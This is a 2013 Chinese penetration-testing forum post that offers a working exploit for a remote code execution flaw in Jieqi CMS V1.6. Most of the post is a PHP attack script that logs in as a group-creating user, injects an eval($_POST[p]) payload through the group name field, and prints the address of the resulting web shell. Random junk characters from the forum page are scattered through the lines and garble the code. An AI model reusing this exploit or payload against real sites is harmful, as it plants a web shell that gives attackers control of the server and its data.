中国网络渗透测试联盟

标题: Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP [打印本页]

作者: admin    时间: 2013-2-23 11:28
标题: Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP
杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。
9 j/ v$ \9 s# V, l0 u
( _4 P2 ]* {" Z* F& x! Y* V
7 C! q5 X2 }% P" F该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。. Z3 V6 ]$ W7 }  O% q
需要有一个能创建圈子的用户。
* a. J- }3 r% o6 B8 A
0 q6 y9 ]7 v, m1 V  f! @<?php. i0 F* E* p" ~4 P1 B

! G  `$ u. D3 `4 V" |" |5 rprint_r('
/ _4 j5 B, g2 c" O: M( u, ?  v+---------------------------------------------------------------------------+
) `* V8 j+ B5 t7 C$ dJieqi CMS V1.6 PHP Code Injection Exploit
  ~% u2 I& c7 }+ i) O- |by flyh4t
% c8 U0 ~  b0 p# l) x" ^mail: phpsec at hotmail dot com' c2 h  l( G& O( s" A
team: http://www.wolvez.org
: Q& j, ~3 b+ V8 o, {+ d( I* o1 _+---------------------------------------------------------------------------+
' `) Q9 ?, |5 x5 L' x2 t$ Q'); /**
3 {& P& }2 h8 w6 J0 ` * works regardless of php.ini settings3 @0 K3 H) ?  u& G3 H& A/ J
*/ if ($argc < 5) { print_r('$ B- H" c- G7 D. ]
+---------------------------------------------------------------------------+
/ Q0 K) R7 [- ]Usage: php '.$argv[0].' host path username
  }; Y" t& _, y$ j: y! e: }* d; G' Ahost:      target server (ip/hostname)- @0 s2 ^  O3 |% o7 k
path:      path to jieqicms 8 V, U! k% N: V; o! S; F: A
uasename:  a username who can create group
2 n7 x. M$ i" h, T. c) [Example:
/ v) R; p! y' Y$ Lphp '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password
% z1 w' n5 f# L) L% [: e. D8 {+---------------------------------------------------------------------------+
) Q8 B1 c5 f* p; x'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
: h: Z- o; q8 G( n! K/ qContent-Disposition: form-data; name="gname"
7 U$ l# S) l3 \2 i4 z
/ t- F* a8 ], d% `: n# z, b'; $params .="';"; $params .='eval($_POST[p]);//flyh4t) V7 z" H' |5 q5 v" F0 C
-----------------------------23281168279961
* n/ M' k6 x' ^4 uContent-Disposition: form-data; name="gcatid", p3 m2 \0 D, f. K
+ m: m! z1 p1 o+ I$ C! A
1
6 K$ p" H6 G1 B' X& \. w& b# m; G-----------------------------23281168279961
& k) A! C) B. p. j3 G  {  OContent-Disposition: form-data; name="gaudit"$ O$ Z/ Y; I- Q# o
5 n0 Y" @* L& }9 y" W, Y- x5 V
1) H6 I# T6 g# e1 `( s* g0 B
-----------------------------23281168279961
, ?9 G4 N+ D+ JContent-Disposition: form-data; name="gbrief"
$ H: i# B# e% b8 s' c
' t. [& I+ z. f- _$ p1; W* `# D( n5 ^! C1 @* F
-----------------------------23281168279961--  A7 U9 o9 O  V" f( [9 W
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com
* y* Q' C; J! h! R& W# f ' Y! g; H+ s- V" O* t1 e
preg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2